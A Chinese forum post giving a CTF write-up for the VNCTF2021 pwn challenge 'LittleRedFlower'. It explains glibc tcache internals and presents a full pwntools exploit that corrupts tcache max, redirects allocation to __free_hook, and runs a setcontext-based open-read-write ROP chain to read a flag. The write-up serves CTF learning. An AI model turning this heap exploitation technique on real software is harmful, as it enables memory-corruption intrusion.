首页
社区
课程
招聘
[原创]【VNCTF2021】LittleRedFlower
2022-4-28 18:57 7549

[原创]【VNCTF2021】LittleRedFlower

2022-4-28 18:57
7549

题目:buuoj上可搜

前置知识

tcache是如何取堆块的

首先会通过csize2tidx函数算出输入的size对应的idx,判断idx是否比tcache max小,小的话去检测[top+idx * 2](counts)是否为0。如果不为0就拿出[top+idx * 8]然后返回

关于csize2tidx

还是看汇编来得快,glibc的源码太难看了

 

 

0x1530是我们输入的size,shr指令是二进制下右移4位,等价于十六进制右移1位

对于counts的检测

关于通过idx寻找取出堆块的地址

此图片的alt属性为空;文件名为E0CQUWSTC2TB1UT06.png

 

r8是取出的chunk的地址

 

此图片的alt属性为空;文件名为H7_7N7H7KC295LOBPNY7N.png

 

从后面的ret前的指令也可以看出,r8就是我们取出的堆块的地址

题解

glibc版本

2.30-2.2

保护

此图片的alt属性为空;文件名为60UXQXSZB48M5_05K_G.png

沙箱保护

此图片的alt属性为空;文件名为71RK80OOK4_UJ2Z3.png

ida

 

此图片的alt属性为空;文件名为PZ7KSJ16O2V06D54EAMT-1024x253.png

 

主要的功能有任意地址写1字节,任意堆地址写8字节,申请一个可写的堆块并且free它

gift

 

白给的libc

思路

主要就是打tcache max,并且控制indx指向的位置,使得申请出来的可写堆块为free_hook,然后配合mov rdx,[rdi+8]的gadget和setcontext+61以及orw直接打通

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
##context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
##r = remote("chuj.top", 51904)
##proof_of_work(r)
libc=ELF('./libc.so.6')
r=process('./pwn')
 
def z():
    gdb.attach(r)
 
def read_byte(add,char):
    r.sendafter('You can write a byte anywhere',p64(add))
    r.sendafter('And what?',str(char))
 
def write_near_heap(offset,con):
    r.sendlineafter("Offset:",str(offset))
    r.sendafter("Content:\n",con)
 
def make_room(size,con):
    r.sendafter("size:",str(size))
    r.sendafter(">>",con)
 
## recv_libc
r.recvuntil('GIFT: ')
libcbase=int(r.recvline()[:-1],base=16)-0x1eb6a0
log.success('libcbase:'+hex(libcbase))
 
## set
tcache_max=libcbase+0x1ea2d0
free_hook=libcbase+libc.sym['__free_hook']
setcontext=libcbase+libc.sym['setcontext']
mov_rdx_call=libcbase+0x154b20
##0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
pat=libcbase+0x28ff4 #pop rax; ret;
pdt=libcbase+0x26bb2 #pop rdi; ret;
pst=libcbase+0x2709c #pop rsi; ret;
pd12t=libcbase+0x11c3b1 #pop rdx; pop r12; ret;
syscall=libcbase+0x66199 #syscall; ret;
ret=libcbase+0x256b9
 
 
## change_tcache_max
read_byte(tcache_max+7,1)
 
## write_sth_near_the_heap
write_near_heap(0x830,p64(free_hook))
 
##orw
orw=p64(pat)+p64(2)+p64(pdt)+p64(free_hook+0x10)+p64(syscall)+\
    p64(pat)+p64(0)+p64(pdt)+p64(3)+p64(pst)+p64(free_hook+0xb0)+p64(pd12t)+p64(0x50)+p64(0)+p64(syscall)+\
    p64(pat)+p64(1)+p64(pdt)+p64(1)+p64(pst)+p64(free_hook+0xb0)+p64(pd12t)+p64(0x50)+p64(0)+p64(syscall)+p64(0xdeadbeef)
 
 
## make room
pd=p64(mov_rdx_call)+p64(free_hook-0x8)+'./flag'.ljust(8,'\x00')+p64(setcontext+61)
pd=pd.ljust(0x98,'\x00')
pd+=p64(free_hook+0xa8)
pd+=p64(ret)
pd+=orw
z()
make_room(0x1490,pd)
r.recvuntil('flag')
flag='flag'+r.recv()
print(flag)
r.interactive()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2022-6-26 20:47 被Nameless_a编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回